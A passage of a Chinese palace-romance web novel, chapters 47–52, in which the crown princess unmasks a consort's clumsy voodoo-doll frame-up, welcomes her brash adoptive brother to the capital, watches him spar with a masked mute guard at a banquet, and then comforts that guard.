张良娣慢条斯理地回道:“回禀太子妃,那偶人里面缝了太子妃的生辰八字。” 江箐珂伸手摊开掌心,喜晴默契地递上一把剪刀。 偶人身子剪开,里面掏出一个黄色的纸条,上面用朱砂写着的正是江箐珂的生辰八字。 在与李玄尧成婚前,是要配八字的。 有心且有点手段的人,想在宫里或者钦天监那边问出她的八字,也就是花点银子、走走关系的事儿。 人证物证皆在,徐才人急得眼泪跟小珍珠似的,啪嗒啪嗒地掉,扑通跪在地上直喊冤。 江箐珂摆弄着手里的偶人,和那张字条,端着一副漫不经心的态度,懒声反问张良娣。 “这偶人在送到本宫手里前,显然没被人打开过,良娣又是如何知晓,这里面缝的一定就是本宫的生辰八字?” “难不成是张良娣缝进去的?” 张良娣摇头辩解。 “妾身冤枉,是妾身院里的嬷嬷偷偷告诉妾身的。” “那嬷嬷又是怎么知道的?”江箐珂追问。 “是徐妹妹院里的女婢私下闲聊时,嬷嬷不小心听到的。” 江箐珂蹙眉,梗了下脖子。 “嫁进东宫,是只允许带一个贴身女婢入宫的。” “而除了陪嫁的女婢外,咱们这东宫里的女婢大都是哑巴,嬷嬷怎么听的,会读心术不成?” 张良娣低头敛眸,掩盖脸上的神色。 她不慌不忙道:“是妾身用词有误,是看,不是听。” “那嬷嬷本也是东宫里的嬷嬷,自是懂得一点手语。” 江箐珂无语得失笑。 “看?” “两个女婢得当着嬷嬷的面儿打手语,嬷嬷才能看得清。” “都明目张胆地看了,那还是......不小心?” 第47章 二选其一 张良娣从脖子红到脸,扣在地上的手紧紧地攥着帕子,头比先前压得更低了。 “妾身也不知,但确实是嬷嬷告诉妾身的。” “哪个嬷嬷啊?”江箐珂问。 不等张良娣指出来,她身后的嬷嬷便自己跪在地上求饶,并替张良娣辩解。 “老奴虽距离有点远,但确实亲眼瞧见徐才人院里的那两名婢女,边走边打着手语,说着徐才人偷偷扎小人诅咒太子妃的事。” 徐才人在旁边哭道:“太子妃,臣妾冤枉啊。太子妃待臣妾如同亲姐姐一般,臣妾断不会做出这种事来,定是有人想陷害臣妾。” 许是徐才人真的是柔顺、乖巧、好拿捏,近半个多月,李玄尧没少传召徐才人去侍寝。 再加上江箐珂之前遇刺崴到了脚,需要休养。 所以,明面上,东宫里唯一得宠之人便只有徐才人。 只侍寝过一次的张良娣,在旁日日瞧着,夜夜盼着,难免会心生嫉恨。 而张良娣也定是认为江箐珂同样看不惯徐才人受宠,便想给江箐珂创造个机会,然后借她的手,除掉这个碍眼的徐才人。 而徐才人正是盛宠之时,炫耀还来不及呢,何至于扎小人诅咒她? 姑且不说人的性子如何,行为就不合逻辑。 江箐珂斜了眼一声不吭的张良娣,随手将那偶人扔到了一旁。 “漏洞百出,真没劲!” 她端着一副百无聊赖的姿态,责问道:“良娣是当本宫傻,还是觉得本宫蠢?” “想陷害人能不能用点心,拿出些诚意来?” “本宫就算有心想借你给的机会,来为难下徐才人,事后都没法子跟太子殿下交代。” 张良娣额头伏地,仍矢口否认。 “臣妾并无害人之心,实属冤枉。” “冤不冤枉的,张良娣自己心里最清楚。” 闲着无聊,江箐珂给张良娣复盘起此次陷害失败的原因。 “本宫若是张良娣,就先找个由头,比方借口今日天气不错,然后拉着本宫去徐才人的屋里聊天喝茶,再装作无意间发现扎针的人偶,并装作一无所知的惊诧模样。” 江箐珂自导自演地在那儿演了起来。 “然后你就说......呀,太子妃,这里怎么会有这种东西?宫中可是严禁巫蛊邪术的啊。” “本宫好奇,接过来打开一看。” “哎呦喂,这人偶里面竟然是本宫的生辰八字!” 抬手指向徐才人,江箐珂的表情格外地生动。 “本宫怒目看向徐才人,好你一个才人,竟然敢诅咒本宫,来人,给我拉下去,赏她五十鞭。” 江箐珂一口气说完,双手摊开,笑着看向张良娣。 “看!” “这是不是就自然合理多了?” “张良娣惹不上嫌疑,本宫挑不出漏洞,徐才人也百口莫辩,而太子殿下且查着去呢。” 张良娣怔怔然地看着江箐珂,那神情宛若在看一个异类。 徐才人的表情亦是如此。 那挂着泪珠的睫羽扑闪扑闪的,连哭都忘了。 江箐珂冲着张良娣晃了晃手指,咂舌表示不齿。 “你这段位啊,太浅!” “跟我那继母比,可差远了。” 殿内讶然一片。 江箐珂觑了眼那人偶。 “这人偶既然做了,本宫的八字也塞进去了,说不定张良娣还顺手扎了几下呢。” “是可忍,孰不可忍,得罚!” “都是吃饱饭闲的,就罚张良娣三日不准吃饭。” 摆脱了嫌疑,徐才人喜极而泣,连连磕头。 “太子妃贤明。” “太子妃聪慧。” “太子妃贤良淑德,明察秋毫,能给太子妃当妹妹,简直就是臣妾的福分。” 江箐珂也不吃溜须拍马这一套。 她面色如常地看向徐才人,公平起见,又挑起了徐才人的毛病。 “你也是!” “人家都陷害到你屋子里去了,说明什么,说明你驭下不严,没有半点的警惕性。” “就这样,怎么在宫里混?” “本宫就罚你......” 江箐珂歪头寻思了下,敲定了:“就罚你吃三日的炒鸡心。” “哦,对了。” 江箐珂不忘提醒。 “当着张良娣的面儿吃,一口都不准给她。” ...... 自打知道江止要来京城,江箐珂每日都是数着手指头过的。 江止的信是七日前在离开西延时派人送出的,按理说,连日赶程,明后日也该到了。 但想到江箐瑶母女娇气,坐着马车走走停停的,少说还得等个四五日才能到京城。 有了江止这个盼头,江箐珂对夜颜面具下的那张脸便少了几分执念。 她的那点心思,此时都用来想江止来了该带他吃什么,玩什么。 江箐珂将毛笔和折册子推到夜颜的面前。 “夜颜,你自小在京城长大,对京城最是熟悉,快推荐些好玩的地方给我。” 夜颜看了眼那册子上写的,整整好几页,写的都是京城必去的酒楼茶馆。 他打了个手语问江箐珂。 【你兄长要来,就如此高兴?】 江箐珂跟宫中婢女和曹公公学手语,学了有些日子。 虽然还只是学了些皮毛,可夜颜比划的意思,她大致也能猜得七七八八。 江箐珂想当然地点头:“那自是当然。阿兄可是我最亲的人。” 她敲了敲那册子,催促了一声“快写”,随后又拿起京城的布局图开始琢磨。 “阿兄是男子,不能跟江箐瑶他们一起住进东宫的。” “也不知他会在京城逗留多久,我得给阿兄租个宅院,免得他住客栈多有不便。” 目光落在皇宫附近的永安坊,江箐珂很是满意。 “这里不错,离皇宫近,我去寻阿兄玩儿会方便很多。” “这个咏月坊也不错,夜市庙市多,阿兄最喜欢热闹了......” “明日让曹公公跟喜晴去瞧瞧,看看有没有短期租赁的宅院。” 江箐珂自言自语地在那儿选地段,未曾留意到夜颜的沉默。 他看着那册子,迟迟未曾拿笔。 可惜面具的遮掩,谁都无法看到他脸上的神情。 夜颜拍了拍江箐珂的手,比划了一句手语。 江箐珂茫然地眨了眨眼,摇头道:“没看懂。” 夜颜提笔落字。 【太子殿下自会安排妥当,江止的吃穿住行无需费心。】 江箐瑶觉得不妥。 “阿兄这人难伺候得很,殿下安排的他未必会满意。” “他大老远来,我这个当妹妹的,还是准备周全些的好。” 一声轻叹夹带着几许烦躁,从狐狸面具下传出来。 夜颜气不顺地将京城布局图从江箐珂手中抽抢了过来。 笔尖蘸着朱砂,在上面勾勾画画,把京城各坊有名的酒楼、茶馆、戏楼、赌坊,连带着京城附近所有风景极佳之处,和适合江止短时间租住的宅院,都一一标注了出来。 字体工工整整,清晰了然。 江箐珂欲拿过来要细看,夜颜却动作极快地将其抽走。 他手语示意江箐珂需要拿东西换。 江箐珂撇嘴嫌他小气,可还是问:“你想要什么?” 不出江箐珂所料,夜颜提笔在折册子上写了这样一行话。 【同房或帮我,二选其一。】 江箐珂操起桌上的龙刺鞭,用力抽打了一下空气。 “找抽是不是?” 夜颜却顶着那阴邪狡猾的狐狸面,将京城布局图朝烛火靠近。 眼瞧着再差一点就要被点燃,江箐珂立马服软做了选择。 “帮你。” 第48章 不是个正经儿郎 立秋。 据李玄尧的探子昨夜来报,江箐瑶他们将于今日入城。 鸡鸣三更天,江箐珂便被曹公公早早叫起来,准备去城门口等着抢人。 一改平日里随性清雅的打扮,今日的她头戴金钗凤冠,颈缀珠珮五行,身披锦缎长裙,腰束绣金阔带。 这一身的行头,珠光流转,华彩耀目,尽显高位者的奢华尊贵,绮丽绝艳之姿。 江箐珂之所以如此盛装打扮,倒不是为了江止。 她是抱着炫耀臭美的心态,冲着江箐瑶和继母准备的。 城门于卯正时分大开放行。 江箐珂乘马车赶到时,十皇子和十一皇子的马车早已候在城门两侧。 三伙人等了没一会儿,便见挂着“江”字灯笼的马车,在两队人马的护送下,迎着晨曦,最先进了城门。 十皇子和十一皇子相继下了马车,欲要“抢”人回府。 可张氏却不是个没脑子的。 她见到江箐珂珠光宝气地朝她们走来,立马客客气气地回绝了那两位皇子。 毕竟,当着众人的面,这上了哪位皇子的马车,就代表要将江箐瑶许配给谁。 若是日后发现不妥,想反悔都没有余地,且还会得罪另一位皇子和宫里的贵人。 张氏精于算计,各中利害关系自是清楚的。 “臣妇见过太子妃。” 张氏心不甘情不愿欠身同江箐珂行了一礼。 见江箐瑶一脸傲气,别扭地干站在那里,张氏扯了下江箐瑶的袖子,严声提醒。 “还不见过太子妃。” 江箐瑶跟被抽筋剥骨似的,浑身上下都透着抗拒。 在张氏又掐又拧下,甚是勉强地行了一礼。 “妹妹见过太子妃。” 可说话的声调仍是阴阳怪气的。 江箐珂也不掩饰心里的得意,她唇角上扬,脸上笑意极盛。 “听闻张姨娘和二妹妹要来京城,本宫今日早早就来此候着了。” 江箐珂犟得很。 虽然早在母亲活着时,父亲便将张氏抬为了平妻。 可这么多年来,她始终不肯改口叫张氏一声母亲。 在她心里,张氏就是个妾室,永远都没法跟她母亲同起同坐。 “一路颠簸劳顿,再寻客栈落脚甚是辛苦,张姨娘和二妹妹不如就随我去东宫住些时日吧。” 江箐珂一边说着客套话,一边搔首弄姿,在母女二人面前,甚是做作地炫耀自己的一身行头。 江箐瑶从头到脚底将江箐珂打量了一番,一脸轻蔑地翻了个大大的白眼。 她鼻孔朝天,看向别处,噘着嘴,在那里嘟嘟囔囔。 “山鸡变凤凰,俗气。” “还不是抢我的。” 看着江箐珂穿金戴银,华服着身,过得甚是风光,继母张氏的脸色也不太好。 她轻拍了几下江箐瑶的手,故意当着江箐珂的面儿低声安慰她。 “瑶儿别急,以后定有你风光无限的时候。” 是时。 清脆悦耳且短促有力的口哨声从城门下传来。 心头大喜,江箐珂循声望去。 一转眼,便瞧见了那个张扬、恣意又鲜活的人,沐着朝阳,从城门下缓缓而来。 刀锋似的五官,鼻子高挺。 下巴上有条打仗时留下的疤,斜斜勾到耳侧,凭白给那张英俊的脸添了几分凶相。 一双眼睛野性浪荡,熠亮桀骜。 看人时总是习惯性地下巴微仰,半垂眸眼,用睥睨的高姿态瞧着世人。 他墨发高束,束发的红色绸带随风飞扬,一袭红袍更是耀眼如霞。 好在配了件黑色披风,才堪堪压下他的那身招摇与高调。 江止提着红缨长枪,骑在那匹通体黝黑的乌骓之上,任由身体随着马儿的走动轻轻晃动,显得随性而慵懒。 他还如从前一样,没事嘴里总会叼着根喂马的草,将那一身军营里摸爬滚打出来的痞气展现得淋漓至尽,怎么看都不像个正经的好儿郎。 “阿兄?” 江箐珂提着裙裾,满眼欢喜地跑步迎上前去。 江止翻身下马,先是摸她的头,邪气一笑,然后双手插在腰间,歪着头上下打量。 俊朗的眉眼微眯,眼神模棱两可。 “怎么没给自己镀个金身再出来?” 看到江止高兴,江箐珂笑眼眯眯,懒得计较那一句半句的嘲讽。 “阿兄怎么也想着跟来了?” 江止将嘴里的那根草移到了嘴角,言语间,四下瞧着城门前的景象。 “西延的女人玩腻了,听说这京城的美人儿各个肤白貌美,嫩得出水,老子便寻思着,来尝尝这京城美人儿是个什么味儿。” 江止总是这样,平日里也没个正形,说话也不着调,江箐珂早就习以为常了。 “不管怎样,阿兄来得极好。” “自收到阿兄寄来的信后,我就日日盼着呢。” 视线回落在江箐珂的脸上,江止问:“想阿兄了?” “当然。” 幽深的眸眼看不出情绪,江止若有所思地看了江箐珂片刻后,轻轻摸了下她的头,转而朝后面的马车指了指。 “看阿兄给你带了什么来?” 江箐珂循着江止所指的方向望去,便见江府马车后面的那匹马。 正是她在西延常骑的那匹赤兔。 美眸圆睁,里面是惊喜,亦是意外。 “我的红枣?” 她提起裙裾跑过去,捧着马头一顿狂撸。 “红枣有没有想姐姐?” “都长这么壮实了,阿兄一定没少给你喂。” 马儿打了几声鼻响,头贴着江箐珂的脸,亦是欢喜。 江止走近,拍了拍赤兔的马背。 “你刚离开西延时,它好几日不吃不喝的,也不愿动,瘦了不少,还是来的路上养起来的膘儿。” 江箐珂问:“怎么把它带来了,该不会是江箐瑶要骑的吧?” 说话间,江箐珂愤愤地回头瞪了眼江箐瑶。 她最讨厌这个贱妹妹抢她东西。 江止回:“我寻摸着,红枣想你,你想红枣,便一起带来了。” 江箐珂却无奈道:“可我在京城也骑不上它。当初没带它来,就是觉得西延地域广阔,它留在那边时不时还能撒丫子到处跑跑,总比在京城里整日被圈在马圈里自在。” 江止却道:“以后阿兄替你养着,没事骑着它出城遛遛,你怕什么。” 江箐珂茫然地看向江止。 “何意?” “兄长不是在京城玩些时日就回西延吗?” 江止摇头。 “不回了。” 他拍了拍那头赤兔,道:“老子打算留在这京城,谋份差事,找几个京城小娘子,就在这里过风流快活的好日子。” 能在京城有个亲人,江箐珂求之不得。 “那自是好。” “正好,我也替阿兄寻了宅子。” 第49章 见不人还是见不得光(3-1) 东宫。 李玄尧设宴款待江止三人,且还邀了京城里的几位世家公子作陪。 其中的用意再明显不过。 为了巩固东宫之位,李玄尧可谓是煞费苦心。 随着各位世家公子依次报上门第,张氏的眼睛都跟着亮了起来。 目光在几位贵公子的脸上来回往复,欣赏的同时,也在审视观察着。 江箐瑶对几位世家公子倒是无感,瞧了几眼,态度平平,反而会时不时地偷瞧李玄尧几眼。 她的眼中的欣赏、遗憾和不甘,皆被江箐珂一一看在了眼里。 虽说是家宴,可主位之人毕竟是当朝太子,且又是个清冷孤傲之人,即使有世家公子暖场,宴席氛围难免还是有些严肃且压抑。 张氏和江箐瑶很是拘谨,酒菜也吃得小心翼翼。 而为了拉拢张氏和江箐瑶,李玄尧倒是破了食不言的规矩,时不时拉着几位贵公子,同江止、张氏闲聊几句。 江止虽是个桀骜不驯之人,可作为江老将军的义子,也懂得要收敛性子,遵守君臣之道,怕自己污了老将军的名声。 是以,李玄尧有问,江止必恭敬有答。 几人从西延粮草兵器的供给是否存在各级官员克扣之事,又聊到边陲百姓的民生商贸,以及邻国的形势。 待聊得差不多了,李玄尧便同张氏说起了江箐瑶的婚事。 张氏一心想给江箐瑶定门好亲事,是以同李玄尧聊得甚是热络。 江止得了闲,便同相邻而坐的江箐珂低声蛐蛐了起来。 他冲着李玄尧身侧的两人努了努下巴,叫奇道:“这俩厮怎么都带着面具?” 江箐珂乜了一眼夜颜和慕容熹。 她心里也在叫奇,这兄妹俩今日怎么都在场。 慕容熹抚琴助兴,夜颜则提着长剑,与曹公公站在一侧。 江止低声问:“是见不得人,还是见不得光?” 江箐珂道:“都有。” 江止又问:“那个抚琴的娘们唧唧的,你家太子殿下不会是断袖吧?” 江箐珂对江止极其信任,有什么话也就说了。 她抬手挡着嘴,凑到江止身侧,将声音压得极低。 “娘们唧唧的那个是个女的,有些见不得光的隐情。” 江止一听便懂。 “金屋藏娇,这你都能忍?” 江箐珂低声回。 “不忍怎么办?” “人家是太子,金屋藏娇算什么,以后后宫佳丽三千任他睡。” 关于李玄尧不行和夜颜替睡的事,江箐珂不打算说。 她怕江止担心,跟着瞎咋呼。 且李玄尧的秘密,不知晓才是最安全的。 江止忍不住讥讽道:“你说你是不是有病,这东宫嫁了有何好的,当初跟江箐瑶争得死去活来的。” 江箐珂之前对男女之事一点都不开窍,总觉得嫁谁都一样。 既然要嫁,那就得嫁个江箐瑶比不起的。 如今,也只能是打掉牙往肚子里咽。 可她又挂不住脸,只能摆出一副无所谓的样子,回呛了江止一句。 “我嫁的又不是人,嫁的是荣华富贵,嫁的一人之下万人之上的地位。” 江止恨铁不成钢地剜了江箐珂一眼,愤愤喝了杯酒,叹气道:“行,你喜欢就成。” 似有所感,酒喝到一半,他目光沉沉地看向夜颜。 江止浓眉轻拧,用力嚼着口中的那块肉。 “那厮什么来头,就露两缝儿,妈的也不知眼珠子往哪儿瞧呢,看得老子不舒服。” 江箐珂也看向夜颜,与江止小声嘀咕。 “是吧,天天就露两缝儿,我都没瞧过正脸儿。” “你一个太子妃,让他把面具摘了的权利都没有?” 江箐珂摇头。 “人家背后是太子,只听李玄尧的。” 江止哼笑,语气轻松,觉得压根不是啥难事。 “那你上手给他摘了不就得了。” 江箐珂摇头叫苦。 “试过了,打不过,一身的牛劲儿。” “打不过?” 江止看向江箐珂,眼神关切道:“他揍你了?” “揍……” 江箐珂也不知该怎么形容,但也不能说自己被夜颜吃干抹净过,遂模棱两可道:“倒不至于,就是……有点没面子。” 江止拿起酒壶,不拘小节地猛灌了一大口。 他擦了擦流到下巴上的酒液,饶有兴致地看向夜颜。 斜斜勾起唇角,懒声笑道:“除了江老汉儿,老子到现在都还没遇到过对手。” “阿兄今日若是把那面具给摘下来,满满打算怎么谢阿兄?” 江箐珂投其所好。 “京城的楼子酒馆,阿兄随便逛,花魁随便选,全挂本宫账上。” “一言为定。” “驷马难追。” “行,等着瞧好吧。” 第50章 他的妹妹他来宠(3-2) 江止当即起身,打断了张氏与其他世家公子的闲谈。 “这酒宴,有琴声有美酒,但总还欠缺点什么。” 江止拿起红缨枪,枪头指向夜颜。 “在下见这位兄弟气场不凡,定是武艺了得,不知太子殿下可否准许在下与其比试一番,为大家助助兴?” 李玄尧斜睨了江箐珂一眼,那眼神好似知晓她和江止在打什么主意。 似乎对夜颜的身手颇有胜算,他侧头看向夜颜递了个眼神。 夜颜会意,颔首应了江止的挑衅。 好好的一场家宴,就这么成了比武之地。 江箐珂在旁暗暗企盼江止能赢。 江止耍了几下枪花,带着破竹之势,径直朝夜颜的狐狸面具攻去,意图一举将其挑下。 夜颜身体微侧,敏捷躲过,同时抓住从他面前擦过的长枪。 他用力一拽,瞬间拉得江止向前踉跄了两步。 江箐珂紧张得扬声提醒:“阿兄,别轻敌,当心些。” 夜颜闻声,隔着那狐狸面具,偏头看了她一眼。 江止欲要抽枪,却被夜颜死死抓着不放。 几番尝试,江止用力用得面色胀红。 他舌头顶着腮,邪气一笑,不羁的一张脸上溢出意外和兴奋之色。 用力侧了下头,脖子一声脆响,伴着那股狠劲发了出来。 几次蛮力拉扯,江止终于夺回长枪,挥枪再次朝夜颜挑刺而去。 剑身与枪身相撞滑蹭,带出一路的火星子,直到两人近身对峙。 江箐珂旁观,留意到江止握枪的那只手。 夜颜刚刚劈下的那一剑,气力无穷。 纵使江止这样在战场上杀敌无数的人,也被那股子蛮力震得手臂微颤了一下。 江止不服气,丢下兵器,又与夜颜赤手空拳地比试了一番。 他招招冲着夜颜的狐狸面具而去,快而强劲,却招招被夜颜灵活破解。 直到彼此冲着对方的胸膛互击一拳,以江止被击退数步而有了胜负。 江止面色不爽,却是不得不服,拱手表示敬佩。 “好身手。” 夜颜无视,捡起剑,肩背笔挺地回到了李玄尧的身后。 并在经过江箐珂的位置前,隔着那狐狸眼缝儿又瞧了她一眼。 江箐珂虽与他目光撞了个正着,却也看不到他的眼神和表情,只能从周身的气场察觉出夜颜好像有点不高兴。 李玄尧是时鼓掌喝彩。 “能与本宫这位侍卫对打如此之久的,兄长还是第一人,不愧是江老将军的义子,当真身手了得。” 这话也算是给了江止面子。 虽然江止向来也不是看重面子的人。 他揉着胸口,回到江箐珂身旁坐下,呲牙咧嘴地在那儿低声骂骂咧咧。 “妈了个蛋的,这厮吃牛长大吧,一股子牛劲儿?” 江箐珂应承,脸上全是委屈。 “是吧,我都打不过。” 江止又觑了眼夜颜,露出一脸惜才之态。 “这厮留这儿浪费了,当该拉到边陲去上阵杀敌,保准一个顶十,没几年就能封狼居胥。” 江箐珂点头,颇为认同:“谁说不是呢,真该拉到西延去。” 江止低声又言:“这以后哪家娘子嫁给他,不得在床上被他给活活操死。” “……” 江箐珂怔怔然看着江止,一时语塞。 半晌,警告道:“嘴巴干净点,这是东宫。” “哪句不干净?”江止贫嘴反问。 “操字。” “你不也说了嘛。” “……” 江箐珂懒得理他,闷头吃起自己的菜来。 江止瞥见她桌上的那盅红烧肉还未动,便伸手拿了过去。 他将肥肉带皮全夹掉,连同自己的那份,把剩下的瘦肉一起扔到了江箐珂的碗里。 江箐珂看着碗里的那两块瘦肉,忽然意识到,这世上好像也就只有江止知晓她不爱吃肥肉。 而刚刚这一幕恰好又被李玄尧瞧见。 他沉着面色,颇有深意地同江止道:“兄长虽是江老将军的义子,可待箐珂,真是……亲如兄妹啊。” 江止一副天不怕地不怕的架势,仰着下巴尖,眉眼带笑地觑着李玄尧,轻描淡写地懒声回了两句。 “没办法,谁让都姓江。” “满满没娘没人疼,我这当兄长的不宠,谁来宠?” 李玄尧笑了笑,和声道:“兄长尽管放心,以后,本宫定会像兄长这般,好好疼爱箐珂的。” 话落,他转而问道:“听说兄长是打算在京城落脚?” 江止点头:“正是。” 李玄尧又问:“不知兄长具体是如何打算的,若是想在朝中谋份官职,本宫倒是可以推荐一番。” “多谢太子殿下好意。” 江止婉拒。 “在下有个好兄弟,以前曾在西延一起上阵杀过敌,如今在京城开了个镖局。” “待玩些日子,在下打算去那镖局里谋个差事,待明年春考,再考个武状元试试。” “就不劳太子殿下费心了。” 李玄尧客气道:“也好,若有需要,兄长尽管随时开口。” 第51章 想不想我帮你(3-3) 宴后,江箐珂好求歹求,李玄尧才准她亲自送江止出宫。 咏月坊繁华地段的一条巷内,江箐珂将那一进门的宅院钥匙塞到了江止的手中。 “起初也不知阿兄会在京城逗留多久,便让喜晴先交了三个月的租银。” “花了多少银子?”江止问。 “我现在是太子妃,难不成还让阿兄自己出银子?” 江止笑了笑,“行啊,就让阿兄吃吃妹妹的软饭。” “尽管吃,别撑死就成。” 江箐珂贫了句嘴,又言归正传。 “如今,阿兄愿意留在京城陪我,且江箐瑶母女二人也不可能一直住在东宫,到时总得搬来同阿兄住的。” 江箐珂一边说,一边拉着江止的衣袖往院子里走,并带他四下瞧着。 “所以,过后还是得寻个大点的宅院。” 她仰头看向江止,笑盈盈又言:“这样阿兄日后也好娶个嫂嫂回来,成家立业,生儿育女。” 江止双手叉在腰间,扬了二正地东瞧瞧,西看看,俨然一副住哪儿都无所谓的表情。 “娶个女人回来多没劲,还得管着老子。” “没事想拉个小娘子回来快活几场,都不自在。” 真是说什么都要顶着来。 江箐珂狠狠瞪了江止一眼。 “也是,阿兄这么不着调,娶谁都是害人家姑娘,你若能孤独终老,也算是行善积德了。” 看着江箐珂气不顺的小模样,江止浓眉微挑,勾起的唇角露出一抹得意的痞笑。 压了压火气,江箐珂继续道:“出了这条巷子,就是咏月坊最繁华的地段,酒楼茶馆戏楼子,什么都有,阿兄无聊时就去逛逛。” “我也会多出宫来陪阿兄的。” 见江箐珂都交代得差不多了,曹公公上前来催。 “太子妃,时辰不早了,早些回宫吧。” 江箐珂看向江止,不舍地噘嘴道:“我回去了,你自己照顾好自己,若是无聊.......” 江止打断她的话。 “咸吃萝卜淡操心,京城那么多乐子找,阿兄岂会无聊。” 长腿一跨,他大喇喇地坐在了廊庑下的扶栏上。 江止背靠着廊柱,单腿支起,撑着手臂,眉眼一扬,笑得恣意又风流。 他挥了挥手,赶着江箐珂。 “快走吧,别耽误老子去逛楼子。” 江箐珂眉头紧蹙。 “整天楼子楼子地挂嘴上,也不怕得花柳病。” 江止神色收敛,故作凶相:“老子用你管,几天不打,上房揭瓦是吧。” 江箐珂抿唇无语。 她叫上喜晴,转身便跟着曹公公和谷丰等人悻悻离开了宅子。 当江箐珂踏出院门时,江止又高声叫住了她。 “江箐珂。” 江箐珂回身,看着那他姿态懒散地倚坐在扶栏上。 束发的红色绸带随风蜿蜒轻舞,江止正歪头望着她笑。 两人隔空对视须臾,他扬声道:“阿兄跟红枣一样,也想你了。” 那句“很想很想”,江止藏在了肚子里。 “想我那几封书信也不回?”江箐珂抱怨道。 江止只笑不语。 也不知为何,江箐珂站在大门的这边,看着独自坐在院子里的江止,心里有些不是滋味。 就跟几个月前出嫁离开西延时一样。 总感觉...... 这宅院虽不大,可他一个人住在这里,孤零零的,看起来好可怜。 院门被谷丰一点点关上,将那高调张扬一抹红隔绝在了门的另一侧。 江箐珂收回视线,心里想着要对阿兄再好些才是。 上了马车,她轻声唤道:“曹公公。” “奴才在。” “帮我在永安坊打听打听,寻个大点的宅子,最少是三进门,另外再帮我雇两个下人,送到这里照料阿兄饮食起居。” ...... 回到凤鸾轩时,天色已黑。 一看无人看守的殿门,江箐珂便知夜颜已在里面候着了。 殿内的花枝灯一盏都没有点,倒是矮榻茶桌上点了一盏烛灯。 夜颜借着烛光,坐在那儿自己跟自己下棋。 喜晴侍奉江箐珂沐浴更衣后,便悄声退了出去。 江箐珂秀发披散,穿着白色的长裙,在夜颜的对面坐下。 她单手撑着腮,一瞬不瞬地瞧着夜颜。 今晚的夜颜有些不同。 他没有戴那个碍事的狐狸面具,而是挂了一层黑色面纱,露出了那双与众不同的眼睛。 夜颜身着月白色的长袍,长发半披半束。 而束发的簪子也是一枚黑檀木祥云簪,与之前送她的是一样的。 不知是不是常年戴面具的原因,夜颜的肤色要比江止白得多。 面纱,异瞳,温文尔雅的公子打扮,竟有点妖孽美人的调调。 只是此时的夜颜周身气场威凛沉冷,有种拒人于千里之外的冷漠,让人不由地又想起太池园那晚,他一剑杀死三皇子时身上散发的肃杀之气。 察觉到夜颜心情不佳,江箐珂今日便消了扯面纱的念头。 “你不高兴?” 她拿起一枚黑棋,陪夜颜下起了棋,时不时地也会细细打量他的眉眼。 真想不通,异瞳这么好看,怎么会被世人视为不祥之兆? 明明是个祥瑞。 就是这眉眼......像谁呢? 啧...... 怎么越瞧越觉得跟李玄尧的眉眼有几分像? 难道人在一起久了,长相也会越长越像? 夜颜只是一味地下棋,对江箐珂的话未给半点反应。 江箐珂又试着搭话。 “可是阿兄那一拳把你打疼了?” 夜颜手语也不打,字也不写,那双眼睛更是抬也没抬过一次。 倒是毫不留情地杀了江箐珂一个白子。 江箐珂觑了眼那双毫无波澜的眼睛,疑惑道:“不应该啊,你力气比阿兄大,你打阿兄那一拳,阿兄都没怎么样。” 可惜,不管她问什么,夜颜都没有任何回应。 眸眼半眯看着他,江箐珂拿出了杀手锏。 “想不想我帮你?” 结果对方仍是一点反应都没有。 夜颜将黑白棋子收好,又重新跟自己下起了新的棋局。 江箐珂火气登时就上来了。 “不要拉倒。” 她抬起衣袖,蛮横地将棋盘上的几枚棋子全都划到了地上。 夜颜无动于衷,面色无变地捏起棋子,重新起局。 “你们京城男子真小气。” 江箐珂起身,气冲冲地去拨开九重纱幔,躺在大圆榻上摆个大字,占了所有的地方。 她想不明白夜颜这是闹哪一出。 来她的寝殿也不搭理人,还摆脸子给她看。 既然不想睬她,那就别来啊,去那徐才人的屋里啊。 江箐珂躺在那里生闷气,夜颜就坐在那里自己下着棋。 落子的清脆声时不时传来,却从某刻起,停了下来。 江箐珂撑身坐起,隔着纱幔,朦朦胧胧地看夜颜坐在那里一动不动。 第52章 哄他(3-1) 也不知为何,明明不用理会的,可江箐珂就是会在意。 想起夜颜曾奋力救过她,且平日里又听话得很,那颗心还是软了心来,想哄哄这个哑巴大可怜。 “大半夜不睡觉,也不知道你作什么?” 江箐珂不耐烦地起身下床,气冲冲地走到夜颜身前。 “找抽是不是?” 凶完后,江箐珂才瞧见棋盘上散落着几抹齑粉一样的东西。 黑的,白的,一看就是夜颜把那棋子给捏碎了。 “你到底怎么了?” 江箐珂语气软了几分:“有话倒是说啊。” 夜颜抬眸,目光幽怨地看向她,然后比划了个手语。 手势不是很复杂,江箐珂看懂了。 【我是个哑巴,怎么说?】 她意识到自己说错了话。 偏偏江箐珂就是个不按套路出牌的人。 这种时候,正常该好声好气地哄对方,江箐珂却双手叉腰,说起话来凶巴巴的。 “哑巴了不起啊?” “哑巴就可以不理人了?” “哑巴生气就得让别人猜吗?” “我是太子妃,有你这么当......” 当,当,当什么呢? 奴才,姘头,面首,侍卫,还是......侍妾? 可妾字是女字底。 夜颜的身份,很难定义。 江箐珂立刻改话道:“几天不抽,上房揭瓦是吧。” “忘了自己是来做什么的嘛?” 她指着夜颜的鼻子,蛮横斥责道:“你是来跟本宫同房,给太子殿下配种生孩子的。” “夜颜,你要记住自己的本分!” “不可凭你是个哑巴,就可以在本宫面前恃宠而骄。” 叽里呱啦发泄了一通,江箐珂看着夜颜不语。 烛火摇曳,映在他微微泛红的眼底,有种奇妙的光影幻象。 一侧像夜空里悬浮的孔明灯,一侧像清水中漂浮的莲花灯,只是,都有点悲伤的调调。 目光对峙良久,江箐珂的气势再次软了下来。 “到底怎么了?” 夜颜尽可能地用简单的手势,让江箐珂明白他的意思。 【在下是跟自己生气。】 “气你自己什么?” 【气自己不能像你阿兄一样,跟你有说有笑。】 他静静地回视着江箐珂,忧伤和自卑从眼底浮出。 虽然只是一双眼而已,江箐珂却从中看到了那颗千疮百孔的心。 凄惨破碎的美感,让人心底冒出一股酸涩之意来,很想将眼前的可怜儿抱进怀里哄一哄。 这该死的母性。 江箐珂别扭地凑上前去,下了好大的决心,才硬着头皮坐在夜颜的腿上。 皓臂勾住他的脖颈,目光在他眉眼间游移,最后落在那层面纱上。 江箐珂凑过去,亲在了夜颜的唇上。 然后她柔声安慰他。 “打手语,写字,也挺有意思的。” “更何况,本宫不是已经在学手语了吗?” “等我学会了,我们也一样可以有说有笑啊。” 轻声言语时,江箐珂又在夜颜的左眼和右眼上各自轻啄了一下,吻得他不得不闭上眼,接受她的示好。 “你没什么好自卑的。” “别人有的,你没有。” “可你有的,别人也没有啊。” “比如你这双眼睛,就甚得本宫的心意。” 夜颜缓缓睁开眼来。 